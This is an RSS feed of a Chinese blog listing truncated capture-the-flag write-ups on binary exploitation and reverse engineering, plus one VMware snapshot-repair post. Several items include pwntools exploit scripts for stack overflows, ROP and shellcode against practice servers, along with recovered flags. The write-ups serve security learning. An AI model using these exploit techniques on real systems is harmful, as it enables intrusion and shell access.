<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[qq_45771413的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/qq_45771413</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; qq_45771413]]></copyright><item><title><![CDATA[解决VMware报错 模块“Disk“启动失败：父虚拟磁盘在子虚拟磁盘创建之后被修改过。父虚拟磁盘的内容 ID……]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/121230747</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/121230747</guid><author>qq_45771413</author><pubDate>Tue, 09 Nov 2021 16:39:47 +0800</pubDate><description><![CDATA[序

配置双机调试的时候作死，在启动系统的过程中还原快照，然后虚拟机崩了，快照也起不来的那种……
搜了很多方法，诸如衔接parentCID，或者更改两个CID为同一个（可能会丢失部分数据），方法二对照着我的一堆快照一个个捋关系树搞得头大，而且尝试后都无法启动虚拟机。最后搜到一个帖完美解决问题（感谢这位大哥），我在他的基础上描述得更详细点。先放地址：
https://www.cnblogs.com/afeibfp/p/6762607.html


本机环境：
Windows10 20H2
VMware 16.]]></description><category></category></item><item><title><![CDATA[BUU-rip]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116211156</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116211156</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:55:34 +0800</pubDate><description><![CDATA[查看保护

IDA分析
看到gets函数，这里没有输入长度限制，输入的s为16位

接下来找有没有敏感权限：
shift+f12 找到了 /bin/sh，打开发现其地址在401186
Tips：这里包含了system指令，若不包含还得找到system地址，payload（填充字符串+填充rbp地址+system地址+/bin/sh地址）

尝试写exp
运行后报错：Got EOF while reading in interactive
from pwn import *
p = remote('node3]]></description><category></category></item><item><title><![CDATA[BUU-ciscn_2019_ne_5]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116211079</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116211079</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:53:28 +0800</pubDate><description><![CDATA[检查保护

IDA
逻辑不是很复杂，
第一次提示输入admin密码，密码要输入administrator才能下一步
接着是输入功能选项（0~3）
第一个输入，看起来没啥用，但是传入的是src字符串，返回的也是src

第二个输出，进去只有一个put，一无所有
第三个是打印，里面发现了system函数

第四个本应该是’0’选项，这里多了个’4’，函数名叫getflag，进去看是个输出flag的函数，初步预测跳转到这里就可以了。

第五个才是’0’的退出
int __cdecl main(int argc, ]]></description><category></category></item><item><title><![CDATA[BUU-ciscn_2019_n_5]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116211060</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116211060</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:50:18 +0800</pubDate><description><![CDATA[查看保护
什么都没保护.jpg

IDA
逻辑很简单，两次输入。这两次输入看起来都可以利用：
read限制了读取长度，而且name是全局变量，地址可访问。
gets里的text可以进行栈溢出，0x20

解题思路
EXP
from pwn import *
p=remote('node3.buuoj.cn',29048)
context.arch = 'amd64'  # 架构名称，不加狂报错……
context.log_level = 'debug' # debug模式
shellcode = asm(s]]></description><category></category></item><item><title><![CDATA[BUU-[HarekazeCTF2019]baby_rop]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116211002</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116211002</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:48:41 +0800</pubDate><description><![CDATA[查看保护

IDA
scanf没限制输入长度，这里可以溢出v4

寻找system和敏感字符串：

都找到了，看来可以缝合缝合了。
解题
这次还是rop，但是还是查阅了相关资料，比第一次做时理解要深刻点。也会用寻找ret返回的工具：
ROPgadget
ROP相关概念：
ROP就是使用返回指令ret连接代码的一种技术
（同理还可以使用jmp系列指令和call指令，有时候也会对应地成为JOP/COP）。
一个程序中必然会存在函数，而有函数就会有ret指令。
而ret指令的本质是pop eip，即把当前栈顶的内]]></description><category></category></item><item><title><![CDATA[BUU-warmup_csaw_2016]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116210981</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116210981</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:45:28 +0800</pubDate><description><![CDATA[查看保护
啥都没保护[滑稽]

IDA
很明显的gets输入漏洞，撑爆v5即可

cat flag也很贴心地加了system……

EXP
from pwn import *
p=remote('node3.buuoj.cn',25059)
p.sendline('A'*64+'a'*8+p64(0x400611))
p.interactive()

flag
flag{cda4b354-70c5-4017-bc79-df3428ae7722}

...]]></description><category></category></item><item><title><![CDATA[BUU-pwn1_sctf_2016]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116210938</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116210938</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:44:16 +0800</pubDate><description><![CDATA[今天补牙，帮学弟改大创，以前的题目还没来得及整理，先补票buu部分的入门pwn题ಥ_ಥ
查看保护

IDA
说来惭愧，太久没做C++写的题现在快看不懂了……只能看出来提示输入，有个I和you的处理，然后将变换拷贝回输入变量，输出

寻找敏感调用：
在字符串查找里找到了全家桶：

解题
这里因为不知道中间咋处理的，直接莽，想溢出s。但是发现s虽然要求输入32，但是栈空间有3C（60位），显然无法溢出。想通过v0搞事情，发现v0是char，而且是地址，显然无法利用……预计关键就在中间的那一串看不懂的了。
在一堆]]></description><category></category></item><item><title><![CDATA[BUU-ciscn_2019_n_1]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116210883</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116210883</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:42:05 +0800</pubDate><description><![CDATA[检查保护

IDA
函数主体很简单：初始化v2为0.0 ；输入数字存进v1，然后让v2和11.28125进行对比，相同则自动 cat flag

解题
gets函数明晃晃地摆在主函数里，准备对v1动手。
可以看到v1长度 0x30，下面v2的长度为 0x4
进去瞅瞅：v1和v2紧挨着，而且v1覆盖v2的空间

那exp思路就很清晰了，把v1到v2首地址之间的空间都填满，然后填进值11.28125，这样就能覆盖v2初始化的0.0 从而满足条件跳转猫flag。
Tips：
关于11.28125的输入：
浮点输入]]></description><category></category></item><item><title><![CDATA[攻防世界-int_overflow]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116210814</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116210814</guid><author>qq_45771413</author><pubDate>Tue, 27 Apr 2021 21:37:51 +0800</pubDate><description><![CDATA[查看保护

IDA
先查看字符串搜索下有无可利用字符串，找到了cat flag。进入发现直接是system cat flag。看来只需要跳转到这个地址就可以了（0x8048694）

开始只能选择1.login登录，进入后提示输入用户名和密码。这里用户名限制死25位，没有操作空间，密码可以输入409位，插个眼。

最后还有个check passwd函数：
判断输入函数长度是否大于3小于8
然后将输入的密码拷贝给dest。

题目提示int_overstack，明晃晃地告诉我是整型溢出。我的关注重点就放在in]]></description><category></category></item><item><title><![CDATA[攻防世界-cgpwn2]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116046366</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116046366</guid><author>qq_45771413</author><pubDate>Fri, 23 Apr 2021 10:56:00 +0800</pubDate><description><![CDATA[查看保护
无栈保护，无PIE保护

IDA
两次输入，一个输入名字（限制了输入长度），一个输入信息（gets可以作栈溢出）

解题思路
shift+f12查找字符串并没有发现/bin/sh，可能需要自己整，或者藏在某个变量里
在找_system函数的过程中，发现了pwn命名的函数，进入发现有system调用，第一次做的时候看到system就乐了，直接溢出s，然后跳转到pwn地址，结果真就只有 hehehe ……


估计这是出题人的恶趣味……
后来我在函数列表里找到了真正的_system，括号内的comma]]></description><category></category></item><item><title><![CDATA[攻防世界-CGfsb]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116045736</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116045736</guid><author>qq_45771413</author><pubDate>Fri, 23 Apr 2021 10:52:00 +0800</pubDate><description><![CDATA[知识点
格式化字符串漏洞（printf）
检查保护
PIE没有保护，全局变量地址固定

IDA
逻辑很简单，输入name，输入message，然后当pwnme等于8时，自动执行cat flag操作。但是pwnme没有被赋值，也没有可操作的地方，需要把它改成8。
但是找了一圈没发现有栈溢出的地方，看wp发现是格式化字符串漏洞，只能嗯学（栈溢出还没整熟悉〒▽〒）。

格式化字符串知识点
格式化字符串（摘自CTF-WIKI)
格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然]]></description><category></category></item><item><title><![CDATA[攻防世界-guess_num]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116045017</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116045017</guid><author>qq_45771413</author><pubDate>Fri, 23 Apr 2021 10:39:19 +0800</pubDate><description><![CDATA[查看保护
好家伙，不留活口（；´д｀）ゞ

IDA
逻辑很简单，输入名字后，程序会生成一个随机数种子，然后循环10次以下操作：
输入一个数，这个数和本次随机循环数值除以6的余数+1是否相等，相等则跳转到函数 sub_C3E() ，这里面直接有 system(“cat flag”);

分析
10次随机数必不能每次都对，所以得想办法绕过随机数或者修改随机数种子，让其种子固定则其生成的随机数也固定。
本体最有可能栈溢出的地方就是gets，gets获取输入存到v7，进入v7看看有没有漏洞：
可以看到v7下面就是s]]></description><category></category></item><item><title><![CDATA[攻防世界-level2]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116033554</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116033554</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:48:34 +0800</pubDate><description><![CDATA[查看保护

IDA分析
在vulnerable_function里找到了读取溢出：
字符串长度136，读取长度256，读多了。
这里看到了system，以为可以获取shell，结果发现就是个普通的输出字符串……（菜）


寻找敏感权限:
直接查找字符串找到了 system /bin/sh
但是他俩不在一块儿。第一次直接拼接/bin/sh失败


后面尝试在填充buf和ebp后缝合system和/bin/sh，但是一直不成功。
尝试了两个system的内存地址也是如此……


上网看别人wp，发现真正调用sy]]></description><category></category></item><item><title><![CDATA[攻防世界-level0]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116033471</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116033471</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:45:59 +0800</pubDate><description><![CDATA[探路

只有NX
试运行：
平平无奇

IDA
找到了读取越界的地方：
buf长度80，但是读取了512


解题不相关但是想记一下怕又忘了：寻找buf的地址，
ALT+T 查找字符串，选中最后的显示所有




学长support：
栈是存储局部变量的
使用完需要恢复成上一个函数的栈
结构如下：
数据
栈底地址（谁的？不吞掉后果如何）
rip：返回的地址
写脚本的目的：把buf占满，吞掉rbp，修改rip的地址，跳转到指定地址


做到这其实卡壳了，其实还有shift+f12这个老朋友○|￣|_

敏感权]]></description><category></category></item><item><title><![CDATA[攻防世界PWN- get_shell ＆ hello_pwn ＆ when_did_you_born13]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116033397</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116033397</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:41:18 +0800</pubDate><description><![CDATA[找到了初学pwn的笔记_(:з」∠)_
get_shell
查看保护

IDA分析
主函数赤条条地写着system("/bin/sh")
预计直接访问就可以getshell

EXP
from pwn import *
p=remote('220.249.52.134',46898)
p.interactive()


flag
cyberpeace{cecb28ddca24a0b26fe5689bc39dc1ee}



hello_pwn
查看保护

NX保护，堆栈不可执行
IDA

打印欢迎界面，输入]]></description><category></category></item><item><title><![CDATA[2019_DDCTF windows_reverse1]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116033140</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116033140</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:32:10 +0800</pubDate><description><![CDATA[查壳
有壳

去之

IDA
主函数部分很简单，有个判断v4地址上的字符串是否等于DDCTF{reverseME}。

进入关键函数sub_401000瞅瞅：v4 v1都是地址且没说。a1是我们输入的字符的地址。中间有个do while循环，次数和字符串长度一致，预计是逐个处理。

解题
说实话，摸不着头脑，既然v1和v4的地址和内容都不给，而且byte_402FF8是空的，啥数据没有。那就只好动调了

首先是解决v4 = (const char *)(a1 - v1);
地址v4等于地址a1和v1相减，结]]></description><category></category></item><item><title><![CDATA[攻防世界-ReverseMe-120]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116033064</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116033064</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:25:36 +0800</pubDate><description><![CDATA[查壳
无壳

IDA
v11为输入，在sub_401000函数进行处理。中间暂时看不懂。最后让v13字符串逐位与37异或，最后得到的字符串为 ‘you_know_how_to_remove_junk_code’



sub_401000:
a1:v15 ; a2:v13(结尾比对) ; a3:v11(输入) ; a4:v11的长度
这部分看吐了……真就和最后对比字符串一样，要自己排除垃圾代码，下文注释掉的代码基本没用……
后半部分是关键，将输入的字符串的ASCⅡ值作为索引，检索table： byte_57]]></description><category></category></item><item><title><![CDATA[攻防世界-流浪者]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116032902</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116032902</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:21:20 +0800</pubDate><description><![CDATA[查壳
无壳

IDA
推测str为输入字符串，限制为 0~9 a~z A~Z
sub_4017B0是错误提示输出
if判断后是v5分别对三个范围内的str进行对应操作
最后将v5传给 sub_4017F0函数处理


第一个while循环对a1（也就是传入的v5）的地址进行处理判断，然后用a1+4*v4为字符串下标检索字符串aAbcdefghiabcde。如果检索结果等于KanXueCTF2019JustForhappy 则正确

解题
先在字符串aAbcdefghiabcde里检索KanXueCTF201]]></description><category></category></item><item><title><![CDATA[攻防世界-alexctf-2017 re2-cpp-is-awesome]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116032810</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116032810</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:17:44 +0800</pubDate><description><![CDATA[查壳
无壳
IDA
挨个看过去只有红框有具体内容，橙色箭头输出失败或成功。那关键就在这个if判断里。

仔细分析这里，发现红框的 off_6020A0和dword_6020C0都是已知的字符串，（其中后者需要处理下间隔，而且是以16进制数字示人）。这种套娃字符串的形式可当作用 6020C0字符串作为下标对6020A0进行排序。

EXP
arrA0=[36,   0,   0,   0,   0,   0,   0,   0,   5,   0, 
    0,   0,  54,   0,   0,   ]]></description><category></category></item><item><title><![CDATA[攻防世界-re1-100]]></title><link>https://blog.youkuaiyun.com/qq_45771413/article/details/116032702</link><guid>https://blog.youkuaiyun.com/qq_45771413/article/details/116032702</guid><author>qq_45771413</author><pubDate>Thu, 22 Apr 2021 21:16:29 +0800</pubDate><description><![CDATA[查壳
无壳
IDA
第一行的 { 原本是123，bufparentread是字符串，差点没反应过来……转换字符串后就很直观了，判断前后是否为括号，两个strncmp比较[1][10]和[30][40]。最后进行confusekey函数处理整个字符串后和另一串数字进行比较。（flag一共长42位）

confusKey：
关键部分如图所示，其中 szPart系列为该函数内定义，szKey是我们输入的字符串的地址。
红框部分，将szKey的[1]~[10]复制给szPart1 [11]~[20]给szPart2]]></description><category></category></item></channel></rss>